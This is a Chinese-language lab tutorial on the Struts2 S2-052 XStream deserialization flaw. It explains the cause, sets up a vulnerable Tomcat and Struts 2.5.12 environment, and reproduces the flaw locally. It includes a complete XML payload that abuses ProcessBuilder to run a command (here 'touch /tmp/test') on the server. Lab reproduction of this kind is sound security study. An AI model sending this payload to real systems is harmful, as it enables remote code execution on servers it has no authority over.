struts2-052漏洞环境搭建及测试

一.了解漏洞

1.struts2是什么?

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。


2.Struts2-052是什么漏洞?

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。


二.分析漏洞原理

1.struts2-052漏洞产生原因是什么?

Struts2的REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据没有进行安全监测而是会被默认进行反序列化。


2.一个系统存在这个漏洞会导致什么后果?

当struts2服务启动时,使用burpsuite等抓包软件截获数据包,并重写入可执行的payload,然后修改Content-Type:application/xml,重发即可在目标主机上自动反序列化生成执行文件,若文件恶意则会造成信息泄露或者系统被篡改等后果。


三.漏洞的重现和利用

1.下载java配置环境

linux系统默认带有java,只需要用java -version查看下当前版本,若没有则安装。


2.下载tomcat并配置

Servlet简介
Servlet主要运行在Web服务器上,用来扩展Web服务器的功能。
Tomcat简介
Tomcat 是一个优秀的Servlet容器,Tomcat本身完全用java语言编写。
有三种工作模式:
(1)Tomcat作为独立的Web服务器来单独运行,Servlet容器组件做为Web服务器中的一部分存在。
(2)作为其他Web服务器进程内的Servlet容器
(3)其他Web服务器进程外的Servlet容器。
默认是tomcat作为独立的Web服务器单独运行,如图结构。
052pic1

1
$dnf install tomcat  //安装tomcat

此时/usr/share/tomcat/webapps目录下相关文件为空,此时需要从tomcat官网下载完整文件后,将webapps下所有文件导入/usr/share/tomcat/webapps中

1
$systemctl start tomcat  //开启tomcat服务

052pic2
启动成功!


3.下载存在漏洞的struts2框架版本并配置

从官网下载存在漏洞的struts框架版本,我下载的是struts-2.5.12,并解压,将apps目录下的struts2-rest-showcase.war文件放到/usr/share/tomcat/webapps下,重启tomcat后访问:http://127.0.0.1:8080/struts2-rest-showcase/
052pic3
成功!


4、使用firefox抓包重现漏洞

使用firefox抓包
当edit后submit抓到post包
修改post包
请求头部修改为
Content-Type:application/xml
Body修改为

1
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>

提交!
返回500,查看/tmp目录多出test目录,成功


5.安装burpsuite并使用其截包重发

1
2
$wget http://labfile.oss.aliyuncs.com/courses/726/burpsuite_free.jar		//安装burpsuite jar包
$/usr/bin/java -Xmx2g -jar burpsuite_free.jar //启动burpsuite

>
>
>